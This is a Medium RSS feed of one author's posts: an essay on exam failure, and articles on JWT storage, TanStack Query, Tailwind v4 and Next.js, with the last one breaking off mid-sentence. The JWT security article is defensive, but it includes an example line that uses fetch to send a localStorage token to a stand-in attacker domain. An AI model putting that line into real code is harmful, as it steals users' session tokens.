<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shreyash on Medium]]></title>
        <description><![CDATA[Stories by Shreyash on Medium]]></description>
        <link>https://medium.com/@kumarshreyash139?source=rss-448877ce12f8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*095XegwX0CELBuWUciXGiA.jpeg</url>
            <title>Stories by Shreyash on Medium</title>
            <link>https://medium.com/@kumarshreyash139?source=rss-448877ce12f8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 12:42:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kumarshreyash139/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[When Everyone Expects You to Win (And You Don’t)]]></title>
            <link>https://medium.com/write-a-catalyst/when-everyone-expects-you-to-win-and-you-dont-c834be64e657?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/c834be64e657</guid>
            <category><![CDATA[motivation]]></category>
            <category><![CDATA[self-improvement]]></category>
            <category><![CDATA[personal-development]]></category>
            <category><![CDATA[success]]></category>
            <category><![CDATA[failure]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Mon, 31 Aug 2026 22:02:24 GMT</pubDate>
            <atom:updated>2026-08-31T22:02:24.036Z</atom:updated>
            <content:encoded><![CDATA[<h4>This is not another story about achieving success and winning. It is a story about failure, and why that failure ended up being the exact reality check I needed.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M_JOzZXYA7_tzO7-" /><figcaption>Photo by <a href="https://unsplash.com/@abskhy?utm_source=medium&amp;utm_medium=referral">abshky</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><strong>When you grow up as the “bright kid,” success isn’t treated as a possibility; it is treated as an inevitability.</strong></p><p>Throughout my entire school life, I lived in the top three of my class. When the tenth-grade exam results dropped and I saw a 96.6% staring back at me, the script for my future seemed completely locked in. Like nearly every other school topper, I immediately jumped into the crowded world of competitive exam preparation.</p><p>The expectations were high from everyone: my teachers, my family, and most importantly, myself. Based on my past track record, I genuinely believed I would succeed. Honestly, I didn’t care all that much about the prestige of the exam itself. My main goal was simply to make my parents happy, and getting good marks had always been the way I did that.</p><p>I started strong. In the beginning, I was acing the mock tests, solving complex problem sets, and riding high on momentum.</p><p>Then, somewhere in the middle of that long two-year tunnel, the engine stalled. I tried to force myself through it. I repeated the mantra: <em>“You can’t get much done in life if you only work on the days you feel good.”</em></p><p>But putting your head down isn’t enough if you aren’t honest with yourself. Distractions slowly crept in. I stopped giving enough mock tests and fell behind on revision.</p><p>Taking an online prep course meant spending entire days alone in a room, staring at a screen. My school friends had scattered to different coaching hubs and cities. Even though I wanted to call them, I held back — they were fighting their own high-pressure battles, and I told myself I shouldn’t disturb them.</p><p>My physical health took a direct hit. Playing sports was my favorite thing in the world, but there was nowhere to play and no one around to play with. Over those two years of sitting in one room, I gained around 20 kgs. Then life reminded me that personal tragedies don’t pause for exam timetables: I lost my grandmother right in the middle of my 12th grade examination.</p><p>On the actual exam day, the room was extremely hot and my alloted seat was unfortunately right between the ceiling fans. But none of those factors are an excuse. At the end of the day, I take 100% responsibility for my failure. I simply wasn’t prepared.</p><p>When the results came out, my parents were in shock, and I had let myself down.</p><p>Then the phone calls from relatives started. It was hard watching my parents struggle to explain my score, and their frustration naturally spilled over onto me. The comments, the taunts, and the comparisons to other kids who did well, started rolling in. It hurt, but part of me felt like I deserved it.</p><p>Those months were dark. I resented my parents, I hated myself, and I completely cut off contact with my friends. Looking back, I was probably depressed. Failing didn’t just hurt my ego; it made me lose faith in my own intelligence. But it also did something essential: it dragged me out of my sheltered bubble and showed me the scale and brutality of real-world competition.</p><p>Getting into college gave me a fresh start, but shaking off two years of habits took time. During my first semester, even though I made new friends, I still found myself keeping a distance because being isolated had become my habit.</p><p>One day, I looked in the mirror and decided that I was done mourning an exam that was already in the past. The brain that loved learning, that solved problems, and that earned awards in school hadn’t vanished into thin air. It was just buried under two years of burnout and self-pity.</p><p>I went back to work:</p><ul><li><strong>I reclaimed my body:</strong> Sports came back into my life. Stepping back onto the court reminded me what it felt like to compete, to sweat, and to lead.</li><li><strong>I reclaimed my voice:</strong> I got involved on campus and stepped onto stage for music.</li><li><strong>I reclaimed my academics:</strong> I began excelling in my college semesters, rebuilding my academic discipline.</li></ul><p>At first, doing well didn’t make me happy. There was a lingering numbness from the failure that made any new achievement feel hollow. But slowly, that numbness faded, and things started to feel normal again.</p><p>The scar from that period hasn’t vanished, and I don’t think it ever completely will.</p><p>Failing when everyone expected me to win was the most painful experience of my youth, but it stripped away my arrogance and replaced it with resilience. I went through a lot, and it made me significantly tougher than I ever was as the comfortable “school topper.”</p><p>There will be plenty of ups and downs ahead, but I no longer fear the fall. My story is still being written — and I am going to make sure it is a damn good one.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c834be64e657" width="1" height="1" alt=""><hr><p><a href="https://medium.com/write-a-catalyst/when-everyone-expects-you-to-win-and-you-dont-c834be64e657">When Everyone Expects You to Win (And You Don’t)</a> was originally published in <a href="https://medium.com/write-a-catalyst">Write A Catalyst</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Storing JWTs in localStorage Is A Big Security Mistake]]></title>
            <link>https://blog.stackademic.com/why-storing-jwts-in-localstorage-is-a-big-security-mistake-334cf51845eb?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/334cf51845eb</guid>
            <category><![CDATA[expressjs]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Sat, 15 Aug 2026 12:57:49 GMT</pubDate>
            <atom:updated>2026-08-15T12:57:49.706Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*utRYVItXtCPStHdC" /><figcaption>Photo by <a href="https://unsplash.com/@markuswinkler?utm_source=medium&amp;utm_medium=referral">Markus Winkler</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>When I built my first authentication system, I thought I had everything figured out.</p><p>I set up a secure login endpoint in Express, generated a JSON Web Token (JWT) using jsonwebtoken, signed it with a secret key, and sent it back to my React client. Every tutorial and beginner YouTube guide I followed told me to do the exact same thing next:</p><pre><br>const handleLogin = async (credentials) =&gt; {<br>  const res = await axios.post(&#39;/api/login&#39;, credentials);<br>  const { token } = res.data;<br><br>  // Store token so the user stays logged in across reloads<br>  localStorage.setItem(&#39;accessToken&#39;, token);<br>};<br><br>// Attaching it to outgoing requests<br>axios.interceptors.request.use((config) =&gt; {<br>  const token = localStorage.getItem(&#39;accessToken&#39;);<br>  if (token) {<br>    config.headers.Authorization = `Bearer ${token}`;<br>  }<br>  return config;<br>});</pre><p>It was so convenient. The user logged in once, closed the browser, reopened it the next day, and stayed logged in. No cookie configurations, no CORS headaches, and zero extra backend routes.</p><p>Months later, while reading through web security fundamentals, I stumbled onto a detail that made my stomach drop: <strong>Any JavaScript running anywhere on your page has unrestricted, plaintext access to </strong><strong>localStorage.</strong></p><p>If an attacker slips a single line of malicious JavaScript onto your site — whether through an unescaped comment box, a compromised CDN script, or a poisoned npm dependency — they can steal every active user’s authentication token in seconds.</p><p>Why was the most dangerous authentication practice on the web being taught as the standard beginner pattern?</p><h3>Why localStorage Is an Open Door for Hackers</h3><p>localStorage is a client-side key-value store built for harmless interface preferences: saving dark mode settings, caching sidebar state, or preserving unsaved form drafts.</p><p>It offers <strong>zero sandbox protection</strong> from other scripts running on the same origin.</p><pre>// One line of injected malicious JavaScript is all it takes:<br>fetch(`https://attacker-domain.com/steal?token=${localStorage.getItem(&#39;accessToken&#39;)}`);</pre><p>Consider how many third-party scripts a modern web app runs:</p><ul><li>Google Analytics or Tag Manager</li><li>Customer support chat widgets</li><li>Heatmap trackers</li><li>Dozens of nested dependencies pulled from node_modules</li></ul><p>If any one of those scripts gets compromised, or if a user finds a standard Cross-Site Scripting (XSS) flaw in your app, your user’s JWT is gone.</p><p>Once an attacker grabs that token, they don’t need the user’s password or their two-factor authentication device. They just attach that Bearer token to their own HTTP client and impersonate the user until the token expires.</p><h3>The Native Browser Shield: HttpOnly Cookies</h3><p>To stop client-side scripts from touching JWT, browsers provides a built-in security flag: <strong>HttpOnly</strong>.</p><p>When your backend sets a cookie with the httpOnly: true flag, the browser will automatically attach that cookie to every outgoing request sent to your API domain—but <strong>JavaScript running in the browser (</strong><strong>document.cookie, </strong><strong>window, or console scripts) is physically blocked from reading it.</strong></p><p>Even if an attacker finds an XSS vulnerability and injects any code on your frontend, they cannot read, duplicate, or export your session cookie.</p><pre>// server/routes/auth.js (Node / Express)<br>app.post(&#39;/api/login&#39;, async (req, res) =&gt; {<br>  const user = await authenticateUser(req.body);<br>  const token = generateJWT(user);<br><br> // Secure cookie configuration<br>   res.cookie(&#39;token&#39;, token, {<br>    httpOnly: true, // JavaScript cannot access this cookie (XSS immune!)<br>    secure: process.env.NODE_ENV === &#39;production&#39;, // Only transmitted over HTTPS<br>    sameSite: &#39;strict&#39;, // Defends against Cross-Site Request Forgery (CSRF)<br>    maxAge: 1000 * 60 * 60 * 24 * 7, // 7-day expiration<br>  });<br><br> res.json({ success: true, user: { id: user.id, email: user.email } });<br>});</pre><h3>The Production Standard: Short-Lived Access + Refresh Tokens</h3><p>If you want an architecture that protects against both token theft and long-term token leakage, the standard pattern is the <strong>Two-Token Architecture</strong>:</p><p><strong>Short-Lived Access Token (Held in Memory):</strong></p><ul><li>Stored in a standard JavaScript variable (inside React state, React Context, or a query cache).</li><li>Lifetime: 5 to 15 minutes.</li><li>Because it lives exclusively in memory, closing the tab or refreshing the page removes it immediately.</li></ul><p><strong>Long-Lived Refresh Token (Stored in an </strong><strong>HttpOnly Cookie):</strong></p><ul><li>Lifetime: 7 to 30 days.</li><li>Stored securely inside an HttpOnly, Secure, SameSite=Strict cookie.</li><li>When the app mounts (or when the short-lived token expires), the client makes a silent POST request to /api/refresh. The server checks the HttpOnly cookie, verifies the user, and sends back a fresh 15-minute access token.</li></ul><h3>localStorage vs. HttpOnly Cookies</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g43fhBZROceQpuH56fb0Gg.png" /></figure><h3>The Lesson Learned</h3><p>Discovering that my straightforward authentication flow had a massive security flaw was a great lesson. localStorage is convenient, but relying on convenience as a shortcut for session management leaves the front door unlocked for malicious attacks.</p><p>Moving sensitive credentials into HttpOnly cookies and adopting short-lived tokens removes the threat of credential exfiltration and ensures your application stays safe when deployed to real users.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=334cf51845eb" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/why-storing-jwts-in-localstorage-is-a-big-security-mistake-334cf51845eb">Why Storing JWTs in localStorage Is A Big Security Mistake</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[This One Library Is Why Senior React Engineers Finish Work by Afternoon]]></title>
            <link>https://blog.stackademic.com/this-one-library-is-why-senior-react-engineers-finish-work-by-afternoon-553ea967ee64?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/553ea967ee64</guid>
            <category><![CDATA[data-fetching]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[frontend-development]]></category>
            <category><![CDATA[tanstack-query]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Tue, 11 Aug 2026 18:03:06 GMT</pubDate>
            <atom:updated>2026-08-11T18:03:06.772Z</atom:updated>
            <content:encoded><![CDATA[<h4>They aren’t smarter than you — they just stopped manually managing server state and let this library do 90% of the heavy lifting.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ssav2c5gDqFGP5JP" /><figcaption>Photo by <a href="https://unsplash.com/@charlesdeluvio?utm_source=medium&amp;utm_medium=referral">charlesdeluvio</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>When I first learned React, data fetching seemed simple. Every tutorial taught me the exact same formula: create a couple of useState hooks for data, loading, and error, call fetch() inside a useEffect, and render your UI.</p><p>It felt easy in small hobby projects. But the moment I started building real-world applications with multiple pages, nested components, and interactive forms, my codebase degraded and was a mess.</p><pre><br>function UserProfile({ userId }) {<br>  const [user, setUser] = useState(null);<br>  const [loading, setLoading] = useState(true);<br>  const [error, setError] = useState(null);<br><br>       useEffect(() =&gt; {<br>       let isMounted = true;<br>       setLoading(true);<br><br>      fetch(`/api/users/${userId}`)<br>      .then((res) =&gt; {<br>        if (!res.ok) throw new Error(&#39;Failed to fetch user&#39;);<br>        return res.json();<br>      })<br>      .then((data) =&gt; {<br>        if (isMounted) setUser(data);<br>      })<br>      .catch((err) =&gt; {<br>        if (isMounted) setError(err.message);<br>      })<br>      .finally(() =&gt; {<br>        if (isMounted) setLoading(false);<br>      });<br>      return () =&gt; {<br>      isMounted = false; // Preventing memory leak warnings on unmount<br>    };<br>  }, [userId]);<br><br>  if (loading) return &lt;div&gt;Loading...&lt;/div&gt;;<br>  if (error) return &lt;div&gt;Error: {error}&lt;/div&gt;;<br>  return &lt;div&gt;{user.name}&lt;/div&gt;;<br>}</pre><p>Every single component that needed API data was duplicating 25 lines of identical useState and useEffect code.</p><p>Worse, my app was riddled with embarrassing bugs that made me question whether I actually understood React at all:</p><ul><li><strong>Loading Spinners:</strong> Navigating away from a page and clicking back 2 seconds later triggered a full loading spinner all over again because nothing was cached.</li><li><strong>Duplicate Network Requests:</strong> If three sibling components on the screen needed the logged-in user’s profile, my app sent three separate, identical HTTP requests to /api/users/me at the exact same time.</li><li><strong>Stale Data Everywhere:</strong> If a user updated their profile name on an edit screen, every other component showing their old name remained completely out of sync until a full browser refresh.</li><li><strong>Race Conditions:</strong> Rapidly switching between user IDs caused older network responses to arrive <em>after</em> newer ones, displaying the wrong user’s profile data on screen.</li></ul><p>I tried fixing this by using API responses into global state stores like Redux or React Context. But that made things even more exhausting — now I was writing reducers, actions, and complex dispatch chains just to store a database response that didn’t belong in client state to begin with.</p><p>Why was displaying API data in a UI giving me this much headache?</p><h3>The Shift: Server State vs. Client State</h3><p>The turning point came when I realized I was treating two fundamentally different types of data as if they were the exact same thing:</p><ul><li><strong>Client State:</strong> Synchronous, local data that your browser has 100% ownership over (e.g., whether a sidebar menu is open, current UI theme, or form tab selection).</li><li><strong>Server State:</strong> Asynchronous, remote data that lives on a database you don’t control. It is shared across multiple users, requires async APIs to fetch or update, and <strong>becomes instantly stale the moment it touches your browser.</strong></li></ul><p>Trying to manage server state using client state tools (like useState or Redux) forces you to manually write your own caching, request deduplication, retry logic, and cache invalidation engine from scratch.</p><p>This is where <strong>TanStack Query (formerly known as React Query)</strong> comes in.</p><p>TanStack Query isn’t a data-fetching library (you still use standard fetch or axios). It is a <strong>dedicated server-state management engine</strong> that handles caching, background synchronization, and stale data for you.</p><h3>Enter TanStack Query</h3><p>Here is that exact same UserProfile component refactored with TanStack Query:</p><pre>import { useQuery } from &#39;@tanstack/react-query&#39;;<br> function UserProfile({ userId }) {<br>  const { data: user, isLoading, error } = useQuery({<br>    queryKey: [&#39;user&#39;, userId],<br>    queryFn: () =&gt; fetch(`/api/users/${userId}`).then((res) =&gt; res.json()),<br>  });<br><br>  if (isLoading) return &lt;div&gt;Loading...&lt;/div&gt;;<br>  if (error) return &lt;div&gt;Error: {error.message}&lt;/div&gt;;<br>  return &lt;div&gt;{user.name}&lt;/div&gt;;<br>}</pre><p>We went from 25 lines of imperative and bug-prone state management to 5 lines of clean, declarative code.</p><h3>What You Get Automatically</h3><ul><li><strong>Smart In-Memory Caching:</strong> Data is cached automatically by its queryKey ([&#39;user&#39;, userId]). If a user navigates away and comes back, the data renders <strong>instantly</strong> from memory while TanStack Query quietly checks for updates in the background.</li><li><strong>Automatic Request Deduplication:</strong> If five different components on the screen request [&#39;user&#39;, 42] at the same time, TanStack Query batches them together into a <strong>single network request</strong>.</li><li><strong>Window Focus Refetching:</strong> If a user switches browser tabs to check Slack and returns to your app, TanStack Query automatically refetches stale queries in the background so the UI stays fresh.</li><li><strong>Built-in Retry Logic:</strong> If a user’s Wi-Fi drops for a split second, TanStack Query automatically retries the failed request exponentially before throwing an error.</li><li><strong>Zero Race Conditions:</strong> If userId changes rapidly from 1 to 2 to 3, TanStack Query guarantees that only the response for 3 gets rendered.</li></ul><h3>Updating Data with useMutation</h3><p>Fetching data is only half the battle. What happens when a user submits a form to update their name?</p><p>With traditional React state, you have to manually update global objects or trigger complex callback chains. With TanStack Query, you use useMutation and tell the cache when to invalidate itself:</p><pre>import { useMutation, useQueryClient } from &#39;@tanstack/react-query&#39;;<br><br> function EditUserForm({ userId }) {<br>  const queryClient = useQueryClient();<br><br>    const mutation = useMutation({<br>    mutationFn: (updatedData) =&gt;<br>      fetch(`/api/users/${userId}`, {<br>        method: &#39;PUT&#39;,<br>        headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },<br>        body: JSON.stringify(updatedData),<br>      }),<br>    onSuccess: () =&gt; {<br>      // Tells TanStack Query that the user cache is now stale<br>      // Any component displaying this user automatically refetches in the background!<br>      queryClient.invalidateQueries({ queryKey: [&#39;user&#39;, userId] });<br>    },<br>  });<br><br>    return (<br>    &lt;button onClick={() =&gt; mutation.mutate({ name: &#39;Alex&#39; })}&gt;<br>      {mutation.isPending ? &#39;Saving...&#39; : &#39;Update Name&#39;}<br>    &lt;/button&gt;<br>  );<br>}</pre><p>When the mutation succeeds, calling queryClient.invalidateQueries() tells TanStack Query: <em>&quot;Hey, the user data just changed on the server. Silently refresh any component currently displaying this user!&quot;</em></p><p>Every component on your screen updates with fresh data instantly — no prop-drilling, no Redux dispatching, and zero manual sync bugs.</p><h3>useEffect vs. TanStack Query</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D81ynnQ_F-0pMw5kS2pTag.png" /></figure><h3>The Lesson Learned</h3><p>Realizing that I was misusinguseEffect for server state was important. I spent months building fragile custom hooks and fighting React&#39;s rendering lifecycle when a solution already existed.</p><p>By adopting TanStack Query, you hand server-state management over to an engine built specifically for it, eliminate hundreds of lines of useless boilerplate, and give your users an instant, crash-resistant experience.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=553ea967ee64" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/this-one-library-is-why-senior-react-engineers-finish-work-by-afternoon-553ea967ee64">This One Library Is Why Senior React Engineers Finish Work by Afternoon</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“Why Am I Using JavaScript to Write CSS ?!” How Tailwind v4 Saved My Build Times]]></title>
            <link>https://blog.stackademic.com/why-am-i-using-javascript-to-write-css-how-tailwind-v4-saved-my-build-times-ee782559a3ba?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee782559a3ba</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[html]]></category>
            <category><![CDATA[frontend-development]]></category>
            <category><![CDATA[tailwind-css]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Sun, 09 Aug 2026 12:21:18 GMT</pubDate>
            <atom:updated>2026-08-09T12:21:18.896Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EPvVwBLMK9s7dj1w" /><figcaption>Photo by <a href="https://unsplash.com/@center999?utm_source=medium&amp;utm_medium=referral">Nopparuj Lamaikul</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I love utility-first CSS. Being able to style components directly inside my HTML templates without constantly jumping back and forth between separate CSS files and JSX completely changed how fast I could build UI.</p><p>But as my project grew into a single repo with multiple apps and shared component packages, my tailwind.config.js morphed into a total mess:</p><pre>// tailwind.config.js — A 200-line JavaScript code<br>module.exports = {<br>  content: [<br>    &#39;./pages/**/*.{js,ts,jsx,tsx}&#39;,<br>    &#39;./components/**/*.{js,ts,jsx,tsx}&#39;,<br>    &#39;../../packages/ui/src/**/*.{js,ts,jsx,tsx}&#39;, // Miss one path and styles break silently!<br>  ],<br>  theme: {<br>    extend: {<br>      colors: {<br>        brand: { 50: &#39;#f0f9ff&#39;, 500: &#39;#06b6d4&#39;, 900: &#39;#0c4a6e&#39; },<br>      },<br>      fontFamily: { sans: [&#39;Inter&#39;, &#39;sans-serif&#39;] },<br>    },<br>  },<br>  plugins: [require(&#39;@tailwindcss/typography&#39;), require(&#39;@tailwindcss/container-queries&#39;)],<br>};</pre><p>I sat there watching my local development server take 4 to 5 seconds just to recompile a simple hover state on a button.</p><p>I stared at my terminal in utter frustration and asked myself: why was I forcing my styling pipeline to spin up Node.js, parse a massive JavaScript configuration object, resolve third-party PostCSS plugins, and manually scan glob arrays every time I saved a file?</p><p>When did a CSS framework start requiring this much JavaScript infrastructure just to color a box?</p><h3>The content Array</h3><p>The most exhausting part of Tailwind v3 wasn’t just the slow build times — it was the content array configuration:</p><ul><li><strong>Style Drops:</strong> If you added a new UI component inside a nested directory or a shared workspace package and forgot to update the glob path inside content: [], your utility styles would disappear in production builds.</li><li><strong>Context Switching Hell:</strong> Defining your color palettes, spacing scales, and custom breakpoints inside a .js file meant your design tokens were trapped inside JavaScript memory instead of being accessible as native CSS variables across your entire stylesheet.</li><li><strong>Build Bottlenecks:</strong> Every time PostCSS ran, JavaScript had to parse the AST (Abstract Syntax Tree) line by line, causing noticeable lag during Hot Module Replacement (HMR).</li></ul><p>It felt like we had taken CSS — a native, highly optimized browser technology — and wrapped it in so many JavaScript abstraction layers that it was slowing our build tools.</p><h3>CSS-First Configuration in Tailwind v4</h3><p>Tailwind CSS v4 completely threw out the JavaScript configuration pipeline.</p><p>Instead of treating CSS as an output target generated by a Node.js script, Tailwind v4 treats <strong>CSS as the true source of truth</strong> using native CSS features and a Rust-powered compilation engine (Lightning CSS).</p><p>The entire tailwind.config.js file is deleted. Here is how you configure a modern Tailwind v4 project in a single CSS entry point:</p><pre>/* app.css — Zero JavaScript Config! */<br>@import &quot;tailwindcss&quot;;<br><br>@theme {<br>  --color-brand-50: #f0f9ff;<br>  --color-brand-500: #06b6d4;<br>  --color-brand-900: #0c4a6e;<br>  <br>  --font-sans: &quot;Inter&quot;, sans-serif;<br>}</pre><h3>Why This Shift Changes Everything</h3><ul><li><strong>Native CSS Variables:</strong> Every token defined inside the @theme directive automatically generates native CSS custom properties (var(--color-brand-500)). You can use them directly in custom CSS, third-party libraries, or inline styles without any JS interpolation.</li><li><strong>Automatic Content Scanning:</strong> You no longer need to write fragile glob arrays like ./src/**/*.tsx. The Rust engine automatically scans your project workspace for used utility classes.</li><li><strong>Rust-Powered Engine (Lightning CSS):</strong> Because the compiler is written in Rust rather than JavaScript, full project builds run up to 5x faster, and incremental development rebuilds complete in microseconds.</li><li><strong>First-Class Modern CSS Support:</strong> Built-in support for container queries, @starting-style entry animations, 3D transforms, and wide-gamut OKLCH colors—all without needing extra PostCSS plugins.</li></ul><h3>Tailwind v3 vs. Tailwind v4</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CllqFtCi-HNmtPYZ7DWTHg.png" /></figure><h3>The Lesson Learned</h3><p>Realizing that the styling tools had gotten so bloated was frustrating but important, seeing the ecosystem pivot back to native web standards is refreshing.</p><p>By replacing JavaScript configuration files with native CSS directives and Rust binaries, Tailwind v4 strips away the build-tool complexity and gives us back what we actually wanted: lightning-fast build times, zero-config styling, and pure developer productivity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee782559a3ba" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/why-am-i-using-javascript-to-write-css-how-tailwind-v4-saved-my-build-times-ee782559a3ba">“Why Am I Using JavaScript to Write CSS ?!” How Tailwind v4 Saved My Build Times</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Next.js App Router is Great, but Vite is Simpler.]]></title>
            <link>https://blog.stackademic.com/next-js-app-router-is-great-but-vite-is-simpler-e31a0efff052?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/e31a0efff052</guid>
            <category><![CDATA[nextjs]]></category>
            <category><![CDATA[vitejs]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Thu, 06 Aug 2026 17:29:25 GMT</pubDate>
            <atom:updated>2026-08-06T17:29:25.952Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DhehXdNLnGKYC4U3" /><figcaption>Photo by <a href="https://unsplash.com/@favour_usifo?utm_source=medium&amp;utm_medium=referral">Favour Usifo</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I wanted to build a simple admin dashboard.</p><p>It didn’t need SEO. It didn’t need dynamic open-graph meta images for social media sharing. It didn’t need complex server-side rendering for search engine crawlers. It was an internal app behind a login screen where authorized users could view tables, filter metrics, and update records.</p><p>Because Next.js is currently the default recommendation across the React ecosystem, I created a fresh project using create-next-app with the App Router.</p><p>Two days into development, I was baffled staring at my terminal:</p><pre>Error: Event handlers cannot be passed to Client Component props.<br>  &lt;... onClick={function onClick}&gt;<br>              ^^^^^^^^^^^^^^^^^^<br>Digest: 3412095381</pre><p>How had building a basic button with a click handler become so complicated? Was I just fundamentally misunderstanding modern React? Or had our tooling completely lost the plot?</p><p>I had fallen straight into the App Router maze: constant context switching between Server Components and Client Components, prop-serialization limits, aggressive default caching that refused to update my tables.</p><p>I sat back and asked myself a fundamental question: <strong>Why am I paying a technical debt for Server-Side Rendering (SSR) on an application that lives entirely behind an authentication wall?</strong></p><h3>The &#39;use client&#39; BS</h3><p>The promise of React Server Components (RSC) sounds amazing on paper: fetch data directly on the server without sending massive JavaScript bundles to the browser.</p><p>In practice, the moment you build interactive UI elements — like a dropdown menu, a modal, or a form with state — you have to mark that component with &#39;use client&#39;.</p><pre><br><br>// app/dashboard/page.jsx (Server Component)<br>import UserTable from &#39;./UserTable&#39;;<br><br>export default async function DashboardPage() {<br>  const users = await db.getUsers();<br><br>  // Passing a callback function down to a client component?<br>  // BOOM: Functions cannot be passed from Server to Client Components!<br>  return &lt;UserTable users={users} onDelete={async (id) =&gt; await deleteUser(id)} /&gt;;<br>}</pre><p>Suddenly, you aren’t just building your UI components — you are constantly playing gatekeeper with the boundary between server memory and browser memory:</p><ul><li>You can’t pass functions or custom class instances as props from Server Components to Client Components.</li><li>If a parent component is marked &#39;use client&#39;, every single component imported inside it automatically becomes a Client Component anyway.</li><li>You end up sprinkling &#39;use client&#39; at the top of half your files, defeating the entire purpose of server components in the first place.</li></ul><h3>The Caching Engine</h3><p>Next.js App Router introduced extremely aggressive default caching strategies. In early versions of App Router, standard fetch() calls were cached indefinitely unless explicitly told otherwise.</p><pre>// Expecting fresh data on page reload? Think again.<br>const res = await fetch(&#39;https://api.example.com/stats&#39;);</pre><p>If a user updated a record in the database, navigating back to the dashboard table would frequently show stale, outdated data because Next.js served the cached payload from its Data Cache.</p><p>To fix it, you had to memorize a vocabulary of revalidation rules:</p><pre>// Managing cache tags, revalidatePaths, and dynamic exports<br>export const dynamic = &#39;force-dynamic&#39;;<br>// or<br>revalidatePath(&#39;/dashboard&#39;);</pre><p>Instead of simply fetching data when a page mounts, you end up engaged with server-side caching layers, route segment configs, and revalidateTag calls just to get a database table to show fresh data after an update.</p><h3>Hydration Mismatches</h3><p>Nothing causes more developer fatigue than opening the browser console and seeing a massive wall of red text:</p><pre>Unhandled Runtime Error<br>Error: Text content does not match server-rendered HTML.<br>Warning: Expected server HTML to contain a matching &lt;div&gt; in &lt;div&gt;.</pre><p>If your UI reads anything from localStorage, checks the browser&#39;s window.innerWidth, or renders a localized date string like new Date().toLocaleDateString(), the HTML generated on the server will not match the HTML rendered in the client browser.</p><p>To fix it, you have to write useEffect workarounds or wrapper components simply to delay rendering until the browser takes over:</p><pre>// Boilerplate just to bypass SSR for browser-only data<br>const [isMounted, setIsMounted] = useState(false);<br><br>useEffect(() =&gt; {<br>  setIsMounted(true);<br>}, []);<br><br>if (!isMounted) return null;</pre><h3>Back to Basics</h3><p>Server-Side Rendering is a powerful tool for public e-commerce sites, news blogs, and landing pages where SEO and Initial Page Load metrics directly impact 